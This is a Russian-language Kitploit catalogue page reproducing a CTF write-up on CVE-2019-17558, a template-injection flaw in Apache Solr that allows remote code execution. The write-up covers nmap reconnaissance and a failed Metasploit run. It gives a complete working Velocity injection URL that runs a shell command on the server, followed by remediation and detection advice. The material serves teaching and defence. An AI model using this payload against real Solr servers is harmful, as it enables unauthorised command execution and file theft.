Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2019-17558-apache-solr-rce — Разбор CTF, документирующий эксплуатацию CVE-2019-17558 в Apache Solr, охватывающий разведку, ограничения Metasploit, ручную инъекцию шаблонов Velocity, захват флага и меры по устранению уязвимости. | Kitploit
Инструменты/GitHubGitHub/rogerzeferino/cve-2019-17558-apache-solr-rce
РазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и Образование
GitHubrogerzeferino/cve-2019-17558-apache-solr-rce

cve-2019-17558-apache-solr-rce

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Разбор CTF, документирующий эксплуатацию CVE-2019-17558 в Apache Solr, охватывающий разведку, ограничения Metasploit, ручную инъекцию шаблонов Velocity, захват флага и меры по устранению уязвимости.

Репозиторий
19 дней назадЕщё не проверено

Apache Solr RCE (CVE-2019-17558) - CTF Write-up

Практическая эксплуатация уязвимости Velocity Template Injection в Apache Solr: переход от сбоя автоматизированного инструмента (Metasploit) к успешной ручной эксплуатации.

Этот write-up документирует полный ход рассуждений в ходе упражнения, с акцентом на диагностику сбоя инструмента и переход к ручной эксплуатации.

Сценарий

ЭлементОписание
ЦельСервер Linux, запустивший Apache Solr на порту 8983
ЗадачаПрочитать содержимое чувствительного файла (/home/favorite_book.txt)
УязвимостьCVE-2019-17558 (RCE через Velocity Response Writer)

1. Разведка

Начальный этап состоял в идентификации активных сервисов на целевом хосте.

root@kitploit:~
nmap -sV -p- <TARGET_IP>

Результаты.

  • Порт 8983/tcp открыт.
  • Сервис идентифицирован как Apache Solr.
  • Core, идентифицированный через веб-панель, — novacollection.

2. Анализ уязвимости

При доступе к административной панели было подтверждено, что версия Solr уязвима к Velocity Template Injection.

Ошибка возникает, когда атакующему удаётся изменить конфигурацию params.resource.loader.enabled на true, что позволяет использовать пользовательские шаблоны Velocity и, начиная с этого момента, выполнять произвольный Java-код на сервере.

3. Автоматизированная эксплуатация (Metasploit)

Изначально использовался модуль exploit/multi/http/solr_velocity_rce.

Эксплоит успешно изменил конфигурацию Solr.

root@kitploit:~
[+] params.resource.loader.enabled is true for core 'novacollection'

Однако финальная стадия внедрения полезной нагрузки завершилась ошибкой выполнения Ruby.

root@kitploit:~
NoMethodError: undefined method 'body' for nil:NilClass

Это указывало на то, что среда была уязвимой и уже подготовленной, но инструмент не смог обработать ответ сервера для завершения атаки. Цель не была защищена — требовался лишь корректировка метода доставки модуля.

4. Ручная эксплуатация

Поскольку Velocity Writer уже был включён Metasploit'ом, инъекция была выполнена вручную через HTTP GET-запрос, обойдя ошибку скрипта. Шаблон Velocity был составлен для инстанцирования java.lang.Runtime и выполнения команды чтения целевого файла.

root@kitploit:~
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Команда, фактически выполненная на сервере.

root@kitploit:~
cat /home/favorite_book.txt

5. Результат

Инъекция прошла успешно, и содержимое файла было возвращено непосредственно в теле HTTP-ответа, отображено в браузере, что позволило получить флаг.

Выводы

  • Ограниченность инструментов. Сканеры и автоматизированные эксплоиты могут давать сбои из-за особенностей окружения или ошибок в самом модуле.
  • Базовые знания. Понимание работы CVE-2019-17558 позволило перейти от сбоя инструмента к успешной ручной атаке.
  • Настойчивость. Ошибка NoMethodError не означала защищённую цель — лишь то, что метод доставки требовал корректировки.

Устранение

  • Обновить Apache Solr до исправленной версии (8.4 или новее).
  • Убедиться, что params.resource.loader.enabled остаётся отключённым.
  • Ограничить доступ к порту 8983 только доверенными сетями, никогда не exposing Solr напрямую в интернет.
  • Отслеживать запросы к endpoint select с параметрами wt=velocity — они полезны как сигнатура обнаружения в SIEM.

Ссылки

  • CVE-2019-17558 (NVD и официальная документация Apache Solr).

Дисклеймер

Этот репозиторий создан в образовательных целях и для документирования обучения в контролируемой среде (CTF). Не используйте эти техники против систем без явного разрешения.

Скачать инструмент